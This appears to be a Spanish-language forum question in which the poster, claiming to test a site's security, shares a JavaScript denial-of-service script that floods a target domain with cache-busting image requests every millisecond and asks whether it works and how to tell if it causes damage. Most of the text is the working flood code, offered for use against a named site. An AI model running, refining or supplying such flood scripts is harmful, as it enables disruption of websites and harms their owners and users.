Diga que quiero probar la seguridad de un sitio y decido enviar un ataque DOS contra él usando un script javascript:
function imgflood(link, uri) {
var TARGET = link;
var URI = uri;
var pic = new Image();
var rand = Math.floor(Math.random() * 10000000);
pic.src = 'http:'+TARGET+URI+rand+'=val';
}
function DOSATTACK(link){
var domain = link;
setInterval(function(){
var i = 0;
var img = document.createElement('img');
img.setAttribute('src', 'ftp://' + domain + ':80/image' + new
Date().getTime() + i );
document.body.appendChild(img);
}, 1);
}
setInterval(function(){
imgflood("ASite.com","/index.html");
DOSATTACK("ASite.com");
}, 500);
Tengo 2 preguntas: Primero, ¿cómo podría saber si estoy haciendo algún daño, aparte de solo el retraso del sitio (porque ese podría ser el retraso de mi computadora porque estoy creando una tonelada de imágenes para el sitio)?
Dos, ¿esta secuencia de comandos funcionaría o solo usaría mi ancho de banda hasta que mi computadora fallara? He notado que mi computadora puede demorarse un poco, pero puedo cerrar la pestaña y acceder a otro sitio fácilmente.